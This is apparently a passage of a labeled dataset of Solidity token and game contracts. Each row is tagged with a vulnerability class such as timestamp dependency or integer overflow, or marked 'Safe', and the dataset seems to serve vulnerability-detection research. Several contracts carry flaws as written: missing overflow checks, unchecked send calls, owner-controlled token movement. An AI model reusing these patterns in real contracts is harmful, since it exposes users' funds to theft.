(100-(honeyPotSharePct+1))) / 100; } function WithdrawPotShare() public { MinerData storage m = miners[msg.sender]; require(m.unclaimedPot > 0); require(m.lastUpdateTime != 0); uint256 amntToSend = m.unclaimedPot; m.unclaimedPot = 0; if(msg.sender.send(amntToSend)) { m.unclaimedPot = 0; } } function WithdrawDevFunds() public { require(msg.sender == owner); if(owner.send(devFund)) { devFund = 0; } } function() public payable { devFund += msg.value; } }",./Dataset/timestamp dependency (TP)/,6,6 192.sol,"pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } } contract ETHHToken is TokenERC20 { function ETHHToken( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} }",./Dataset/integer overflow (OF)/,4,4 0x036ba95116edf4f79d5c0da9639ed1f31b1ebcd9_GoWalletProject.sol,"pragma solidity ^0.4.24; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract GoWalletProject is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; // Token Name uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: eg SBX, XPR etc.. string public version = 'H1.0'; uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address public fundsWallet; // Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function GoWalletProject() { balances[msg.sender] = 1000000000000000000000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS) totalSupply = 1000000000000000000000000000; // Update total supply (1000 for example) (CHANGE THIS) name = ""GoWalletProject""; // Set the name for display purposes (CHANGE THIS) decimals = 18; // Amount of decimals for display purposes (CHANGE THIS) symbol = ""GWP""; // Set the symbol for display purposes (CHANGE THIS) unitsOneEthCanBuy = 2000000; // Set the price of your token for the ICO (CHANGE THIS) fundsWallet = msg.sender; // The owner of the contract gets ETH } function() public payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; require(balances[fundsWallet] >= amount); balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain //Transfer ether to fundsWallet fundsWallet.transfer(msg.value); } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",Safe,8,8 0x03698A26A6af930C76eE74A66eED6649fC511E6f_SIT.sol,"pragma solidity ^0.4.11; /* Copyright 2017, Anton Egorov (Mothership Foundation) Copyright 2017, Klaus Hott (BlockchainLabs.nz) Copyright 2017, Jordi Baylina (Giveth) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Based on MineMeToken.sol from https://github.com/Giveth/minime Original contract from https://github.com/status-im/status-network-token/blob/master/contracts/MiniMeToken.sol */ contract ERC20Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens function totalSupply() constant returns (uint256 balance); /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Controlled { /// @notice The address of the controller is the only address that can call /// a function with this modifier modifier onlyController { if (msg.sender != controller) throw; _; } address public controller; function Controlled() { controller = msg.sender;} /// @notice Changes the controller of the contract /// @param _newController The new controller of the contract function changeController(address _newController) onlyController { controller = _newController; } } contract Burnable is Controlled { /// @notice The address of the controller is the only address that can call /// a function with this modifier, also the burner can call but also the /// target of the function must be the burner modifier onlyControllerOrBurner(address target) { assert(msg.sender == controller || (msg.sender == burner && msg.sender == target)); _; } modifier onlyBurner { assert(msg.sender == burner); _; } address public burner; function Burnable() { burner = msg.sender;} /// @notice Changes the burner of the contract /// @param _newBurner The new burner of the contract function changeBurner(address _newBurner) onlyBurner { burner = _newBurner; } } contract MiniMeTokenI is ERC20Token, Burnable { string public name; //The Token's name: e.g. DigixDAO Tokens uint8 public decimals; //Number of decimals of the smallest unit string public symbol; //An identifier: e.g. REP string public version = 'MMT_0.1'; //An arbitrary versioning scheme /////////////////// // ERC20 Methods /////////////////// /// @notice `msg.sender` approves `_spender` to send `_amount` tokens on /// its behalf, and then a function is triggered in the contract that is /// being approved, `_spender`. This allows users to use their tokens to /// interact with contracts in one function call instead of two /// @param _spender The address of the contract able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the function call was successful function approveAndCall( address _spender, uint256 _amount, bytes _extraData ) returns (bool success); //////////////// // Query balance and totalSupply in History //////////////// /// @dev Queries the balance of `_owner` at a specific `_blockNumber` /// @param _owner The address from which the balance will be retrieved /// @param _blockNumber The block number when the balance is queried /// @return The balance at `_blockNumber` function balanceOfAt( address _owner, uint _blockNumber ) constant returns (uint); /// @notice Total amount of tokens at a specific `_blockNumber`. /// @param _blockNumber The block number when the totalSupply is queried /// @return The total amount of tokens at `_blockNumber` function totalSupplyAt(uint _blockNumber) constant returns(uint); //////////////// // Clone Token Method //////////////// /// @notice Creates a new clone token with the initial distribution being /// this token at `_snapshotBlock` /// @param _cloneTokenName Name of the clone token /// @param _cloneDecimalUnits Number of decimals of the smallest unit /// @param _cloneTokenSymbol Symbol of the clone token /// @param _snapshotBlock Block when the distribution of the parent token is /// copied to set the initial distribution of the new clone token; /// if the block is zero than the actual block, the current block is used /// @param _transfersEnabled True if transfers are allowed in the clone /// @return The address of the new MiniMeToken Contract function createCloneToken( string _cloneTokenName, uint8 _cloneDecimalUnits, string _cloneTokenSymbol, uint _snapshotBlock, bool _transfersEnabled ) returns(address); //////////////// // Generate and destroy tokens //////////////// /// @notice Generates `_amount` tokens that are assigned to `_owner` /// @param _owner The address that will be assigned the new tokens /// @param _amount The quantity of tokens generated /// @return True if the tokens are generated correctly function generateTokens(address _owner, uint _amount) returns (bool); /// @notice Burns `_amount` tokens from `_owner` /// @param _owner The address that will lose the tokens /// @param _amount The quantity of tokens to burn /// @return True if the tokens are burned correctly function destroyTokens(address _owner, uint _amount) returns (bool); //////////////// // Enable tokens transfers //////////////// /// @notice Enables token holders to transfer their tokens freely if true /// @param _transfersEnabled True if transfers are allowed in the clone function enableTransfers(bool _transfersEnabled); ////////// // Safety Methods ////////// /// @notice This method can be used by the controller to extract mistakenly /// sent tokens to this contract. /// @param _token The address of the token contract that you want to recover /// set to 0 in case you want to extract ether. function claimTokens(address _token); //////////////// // Events //////////////// event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); } /// @dev The token controller contract must implement these functions contract TokenController { /// @notice Called when `_owner` sends ether to the MiniMe Token contract /// @param _owner The address that sent the ether to create tokens /// @return True if the ether is accepted, false if it throws function proxyPayment(address _owner) payable returns(bool); /// @notice Notifies the controller about a token transfer allowing the /// controller to react if desired /// @param _from The origin of the transfer /// @param _to The destination of the transfer /// @param _amount The amount of the transfer /// @return False if the controller does not authorize the transfer function onTransfer(address _from, address _to, uint _amount) returns(bool); /// @notice Notifies the controller about an approval allowing the /// controller to react if desired /// @param _owner The address that calls `approve()` /// @param _spender The spender in the `approve()` call /// @param _amount The amount in the `approve()` call /// @return False if the controller does not authorize the approval function onApprove(address _owner, address _spender, uint _amount) returns(bool); } contract ApproveAndCallReceiver { function receiveApproval(address _from, uint256 _amount, address _token, bytes _data); } /// @title MiniMeToken Contract /// @author Jordi Baylina /// @dev This token contract's goal is to make it easy for anyone to clone this /// token using the token distribution at a given block, this will allow DAO's /// and DApps to upgrade their features in a decentralized manner without /// affecting the original token /// @dev It is ERC20 compliant, but still needs to under go further testing. /// @dev The actual token contract, the default controller is the msg.sender /// that deploys the contract, so usually this token will be deployed by a /// token controller contract, which Giveth will call a ""Campaign"" contract MiniMeToken is MiniMeTokenI { /// @dev `Checkpoint` is the structure that attaches a block number to a /// given value, the block number attached is the one that last changed the /// value struct Checkpoint { // `fromBlock` is the block number that the value was generated from uint128 fromBlock; // `value` is the amount of tokens at a specific block number uint128 value; } // `parentToken` is the Token address that was cloned to produce this token; // it will be 0x0 for a token that was not cloned MiniMeToken public parentToken; // `parentSnapShotBlock` is the block number from the Parent Token that was // used to determine the initial distribution of the Clone Token uint public parentSnapShotBlock; // `creationBlock` is the block number that the Clone Token was created uint public creationBlock; // `balances` is the map that tracks the balance of each address, in this // contract when the balance changes the block number that the change // occurred is also included in the map mapping (address => Checkpoint[]) balances; // `allowed` tracks any extra transfer rights as in all ERC20 tokens mapping (address => mapping (address => uint256)) allowed; // Tracks the history of the `totalSupply` of the token Checkpoint[] totalSupplyHistory; // Flag that determines if the token is transferable or not. bool public transfersEnabled; // The factory used to create new clone tokens MiniMeTokenFactory public tokenFactory; //////////////// // Constructor //////////////// /// @notice Constructor to create a MiniMeToken /// @param _tokenFactory The address of the MiniMeTokenFactory contract that /// will create the Clone token contracts, the token factory needs to be /// deployed first /// @param _parentToken Address of the parent token, set to 0x0 if it is a /// new token /// @param _parentSnapShotBlock Block of the parent token that will /// determine the initial distribution of the clone token, set to 0 if it /// is a new token /// @param _tokenName Name of the new token /// @param _decimalUnits Number of decimals of the new token /// @param _tokenSymbol Token Symbol for the new token /// @param _transfersEnabled If true, tokens will be able to be transferred function MiniMeToken( address _tokenFactory, address _parentToken, uint _parentSnapShotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) { tokenFactory = MiniMeTokenFactory(_tokenFactory); name = _tokenName; // Set the name decimals = _decimalUnits; // Set the decimals symbol = _tokenSymbol; // Set the symbol parentToken = MiniMeToken(_parentToken); parentSnapShotBlock = _parentSnapShotBlock; transfersEnabled = _transfersEnabled; creationBlock = getBlockNumber(); } /////////////////// // ERC20 Methods /////////////////// /// @notice Send `_amount` tokens to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _amount) returns (bool success) { if (!transfersEnabled) throw; return doTransfer(msg.sender, _to, _amount); } /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it /// is approved by `_from` /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function transferFrom(address _from, address _to, uint256 _amount ) returns (bool success) { // The controller of this contract can move tokens around at will, // this is important to recognize! Confirm that you trust the // controller of this contract, which in most situations should be // another open source smart contract or 0x0 if (msg.sender != controller) { if (!transfersEnabled) throw; // The standard ERC 20 transferFrom functionality if (allowed[_from][msg.sender] < _amount) return false; allowed[_from][msg.sender] -= _amount; } return doTransfer(_from, _to, _amount); } /// @dev This is the actual transfer function in the token contract, it can /// only be called by other functions in this contract. /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function doTransfer(address _from, address _to, uint _amount ) internal returns(bool) { if (_amount == 0) { return true; } if (parentSnapShotBlock >= getBlockNumber()) throw; // Do not allow transfer to 0x0 or the token contract itself if ((_to == 0) || (_to == address(this))) throw; // If the amount being transfered is more than the balance of the // account the transfer returns false var previousBalanceFrom = balanceOfAt(_from, getBlockNumber()); if (previousBalanceFrom < _amount) { return false; } // Alerts the token controller of the transfer if (isContract(controller)) { if (!TokenController(controller).onTransfer(_from, _to, _amount)) throw; } // First update the balance array with the new value for the address // sending the tokens updateValueAtNow(balances[_from], previousBalanceFrom - _amount); // Then update the balance array with the new value for the address // receiving the tokens var previousBalanceTo = balanceOfAt(_to, getBlockNumber()); if (previousBalanceTo + _amount < previousBalanceTo) throw; // Check for overflow updateValueAtNow(balances[_to], previousBalanceTo + _amount); // An event to make the transfer easy to find on the blockchain Transfer(_from, _to, _amount); return true; } /// @param _owner The address that's balance is being requested /// @return The balance of `_owner` at the current block function balanceOf(address _owner) constant returns (uint256 balance) { return balanceOfAt(_owner, getBlockNumber()); } /// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on /// its behalf. This is a modified version of the ERC20 approve function /// to be a little bit safer /// @param _spender The address of the account able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the approval was successful function approve(address _spender, uint256 _amount) returns (bool success) { if (!transfersEnabled) throw; // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender,0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_amount!=0) && (allowed[msg.sender][_spender] !=0)) throw; // Alerts the token controller of the approve function call if (isContract(controller)) { if (!TokenController(controller).onApprove(msg.sender, _spender, _amount)) throw; } allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } /// @dev This function makes it easy to read the `allowed[]` map /// @param _owner The address of the account that owns the token /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens of _owner that _spender is allowed /// to spend function allowance(address _owner, address _spender ) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /// @notice `msg.sender` approves `_spender` to send `_amount` tokens on /// its behalf, and then a function is triggered in the contract that is /// being approved, `_spender`. This allows users to use their tokens to /// interact with contracts in one function call instead of two /// @param _spender The address of the contract able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the function call was successful function approveAndCall(address _spender, uint256 _amount, bytes _extraData ) returns (bool success) { if (!approve(_spender, _amount)) throw; // This portion is copied from ConsenSys's Standard Token Contract. It // calls the receiveApproval function that is part of the contract that // is being approved (`_spender`). The function should look like: // `receiveApproval(address _from, uint256 _amount, address // _tokenContract, bytes _extraData)` It is assumed that the call // *should* succeed, otherwise the plain vanilla approve would be used ApproveAndCallReceiver(_spender).receiveApproval( msg.sender, _amount, this, _extraData ); return true; } /// @dev This function makes it easy to get the total number of tokens /// @return The total number of tokens function totalSupply() constant returns (uint) { return totalSupplyAt(getBlockNumber()); } //////////////// // Query balance and totalSupply in History //////////////// /// @dev Queries the balance of `_owner` at a specific `_blockNumber` /// @param _owner The address from which the balance will be retrieved /// @param _blockNumber The block number when the balance is queried /// @return The balance at `_blockNumber` function balanceOfAt(address _owner, uint _blockNumber) constant returns (uint) { // These next few lines are used when the balance of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.balanceOfAt` be queried at the // genesis block for that token as this contains initial balance of // this token if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); } else { // Has no parent return 0; } // This will return the expected balance during normal situations } else { return getValueAt(balances[_owner], _blockNumber); } } /// @notice Total amount of tokens at a specific `_blockNumber`. /// @param _blockNumber The block number when the totalSupply is queried /// @return The total amount of tokens at `_blockNumber` function totalSupplyAt(uint _blockNumber) constant returns(uint) { // These next few lines are used when the totalSupply of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.totalSupplyAt` be queried at the // genesis block for this token as that contains totalSupply of this // token at this block number. if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); } else { return 0; } // This will return the expected totalSupply during normal situations } else { return getValueAt(totalSupplyHistory, _blockNumber); } } //////////////// // Clone Token Method //////////////// /// @notice Creates a new clone token with the initial distribution being /// this token at `_snapshotBlock` /// @param _cloneTokenName Name of the clone token /// @param _cloneDecimalUnits Number of decimals of the smallest unit /// @param _cloneTokenSymbol Symbol of the clone token /// @param _snapshotBlock Block when the distribution of the parent token is /// copied to set the initial distribution of the new clone token; /// if the block is zero than the actual block, the current block is used /// @param _transfersEnabled True if transfers are allowed in the clone /// @return The address of the new MiniMeToken Contract function createCloneToken( string _cloneTokenName, uint8 _cloneDecimalUnits, string _cloneTokenSymbol, uint _snapshotBlock, bool _transfersEnabled ) returns(address) { if (_snapshotBlock == 0) _snapshotBlock = getBlockNumber(); MiniMeToken cloneToken = tokenFactory.createCloneToken( this, _snapshotBlock, _cloneTokenName, _cloneDecimalUnits, _cloneTokenSymbol, _transfersEnabled ); cloneToken.changeController(msg.sender); // An event to make the token easy to find on the blockchain NewCloneToken(address(cloneToken), _snapshotBlock); return address(cloneToken); } //////////////// // Generate and destroy tokens //////////////// /// @notice Generates `_amount` tokens that are assigned to `_owner` /// @param _owner The address that will be assigned the new tokens /// @param _amount The quantity of tokens generated /// @return True if the tokens are generated correctly function generateTokens(address _owner, uint _amount ) onlyController returns (bool) { uint curTotalSupply = getValueAt(totalSupplyHistory, getBlockNumber()); if (curTotalSupply + _amount < curTotalSupply) throw; // Check for overflow updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); var previousBalanceTo = balanceOf(_owner); if (previousBalanceTo + _amount < previousBalanceTo) throw; // Check for overflow updateValueAtNow(balances[_owner], previousBalanceTo + _amount); Transfer(0, _owner, _amount); return true; } /// @notice Burns `_amount` tokens from `_owner` /// @param _owner The address that will lose the tokens /// @param _amount The quantity of tokens to burn /// @return True if the tokens are burned correctly function destroyTokens(address _owner, uint _amount ) onlyControllerOrBurner(_owner) returns (bool) { uint curTotalSupply = getValueAt(totalSupplyHistory, getBlockNumber()); if (curTotalSupply < _amount) throw; updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); var previousBalanceFrom = balanceOf(_owner); if (previousBalanceFrom < _amount) throw; updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); Transfer(_owner, 0, _amount); return true; } //////////////// // Enable tokens transfers //////////////// /// @notice Enables token holders to transfer their tokens freely if true /// @param _transfersEnabled True if transfers are allowed in the clone function enableTransfers(bool _transfersEnabled) onlyController { transfersEnabled = _transfersEnabled; } //////////////// // Internal helper functions to query and set a value in a snapshot array //////////////// /// @dev `getValueAt` retrieves the number of tokens at a given block number /// @param checkpoints The history of values being queried /// @param _block The block number to retrieve the value at /// @return The number of tokens being queried function getValueAt(Checkpoint[] storage checkpoints, uint _block ) constant internal returns (uint) { if (checkpoints.length == 0) return 0; // Shortcut for the actual value if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; // Binary search of the value in the array uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1)/ 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } /// @dev `updateValueAtNow` used to update the `balances` map and the /// `totalSupplyHistory` /// @param checkpoints The history of data being updated /// @param _value The new number of tokens function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value ) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length -1].fromBlock < getBlockNumber())) { Checkpoint newCheckPoint = checkpoints[ checkpoints.length++ ]; newCheckPoint.fromBlock = uint128(getBlockNumber()); newCheckPoint.value = uint128(_value); } else { Checkpoint oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } /// @dev Internal function to determine if an address is a contract /// @param _addr The address being queried /// @return True if `_addr` is a contract function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; } /// @dev Helper function to return a min betwen the two uints function min(uint a, uint b) internal returns (uint) { return a < b ? a : b; } /// @notice The fallback function: If the contract's controller has not been /// set to 0, then the `proxyPayment` method is called which relays the /// ether and creates tokens as described in the token controller contract function () payable { if (isContract(controller)) { if (! TokenController(controller).proxyPayment.value(msg.value)(msg.sender)) throw; } else { throw; } } ////////// // Testing specific methods ////////// /// @notice This function is overridden by the test Mocks. function getBlockNumber() internal constant returns (uint256) { return block.number; } ////////// // Safety Methods ////////// /// @notice This method can be used by the controller to extract mistakenly /// sent tokens to this contract. /// @param _token The address of the token contract that you want to recover /// set to 0 in case you want to extract ether. function claimTokens(address _token) onlyController { if (_token == 0x0) { controller.transfer(this.balance); return; } ERC20Token token = ERC20Token(_token); uint balance = token.balanceOf(this); token.transfer(controller, balance); ClaimedTokens(_token, controller, balance); } //////////////// // Events //////////////// event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); event Transfer(address indexed _from, address indexed _to, uint256 _amount); event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); } //////////////// // MiniMeTokenFactory //////////////// /// @dev This contract is used to generate clone contracts from a contract. /// In solidity this is the way to create a contract from a contract of the /// same class contract MiniMeTokenFactory { /// @notice Update the DApp by creating a new token with new functionalities /// the msg.sender becomes the controller of this clone token /// @param _parentToken Address of the token being cloned /// @param _snapshotBlock Block of the parent token that will /// determine the initial distribution of the clone token /// @param _tokenName Name of the new token /// @param _decimalUnits Number of decimals of the new token /// @param _tokenSymbol Token Symbol for the new token /// @param _transfersEnabled If true, tokens will be able to be transferred /// @return The address of the new token contract function createCloneToken( address _parentToken, uint _snapshotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) returns (MiniMeToken) { MiniMeToken newToken = new MiniMeToken( this, _parentToken, _snapshotBlock, _tokenName, _decimalUnits, _tokenSymbol, _transfersEnabled ); newToken.changeController(msg.sender); return newToken; } } contract SIT is MiniMeToken { function SIT(address _tokenFactory) MiniMeToken( _tokenFactory, 0x60f3c7c45933d9cfae0c6950190d8c95543a4576, // no parent token block.number, // no snapshot block number from parent ""Strategic Investor Token"", // Token name 18, // Decimals ""SIT"", // Symbol false // Enable transfers ) {} }",Safe,8,8 38932.sol,"// VERSION M(A) pragma solidity ^0.4.8; // // FOR REFERENCE - INCLUDE iE4RowEscrow (interface) CONTRACT at the top ..... // contract iE4RowEscrow { function getNumGamesStarted() constant returns (int ngames); } // Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/issues/20 // --------------------------------- // ABSTRACT standard token class // --------------------------------- contract Token { function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } // -------------------------- // E4RowRewards - abstract e4 dividend contract // -------------------------- contract E4RowRewards { function checkDividends(address _addr) constant returns(uint _amount); function withdrawDividends() public returns (uint namount); } // -------------------------- // Finney Chip - token contract // -------------------------- contract E4Token is Token, E4RowRewards { event StatEvent(string msg); event StatEventI(string msg, uint val); enum SettingStateValue {debug, release, lockedRelease} enum IcoStatusValue {anouncement, saleOpen, saleClosed, failed, succeeded} struct tokenAccount { bool alloced; // flag to ascert prior allocation uint tokens; // num tokens uint balance; // rewards balance } // ----------------------------- // data storage // ---------------------------------------- address developers; // developers token holding address address public owner; // deployer executor address founderOrg; // founder orginaization contract address auxPartner; // aux partner (pr/auditing) - 1 percent upon close address e4_partner; // e4row contract addresses mapping (address => tokenAccount) holderAccounts ; // who holds how many tokens (high two bytes contain curPayId) mapping (uint => address) holderIndexes ; // for iteration thru holder uint numAccounts; uint partnerCredits; // amount partner (e4row) has paid mapping (address => mapping (address => uint256)) allowed; // approvals uint maxMintableTokens; // ... uint minIcoTokenGoal;// token goal by sale end uint minUsageGoal; // num games goal by usage deadline uint public tokenPrice; // price per token uint public payoutThreshold; // threshold till payout uint totalTokenFundsReceived; // running total of token funds received uint public totalTokensMinted; // total number of tokens minted uint public holdoverBalance; // hold this amount until threshhold before reward payout int public payoutBalance; // hold this amount until threshhold before reward payout int prOrigPayoutBal; // original payout balance before run uint prOrigTokensMint; // tokens minted at start of pay run uint public curPayoutId; // current payout id uint public lastPayoutIndex; // payout idx between run segments 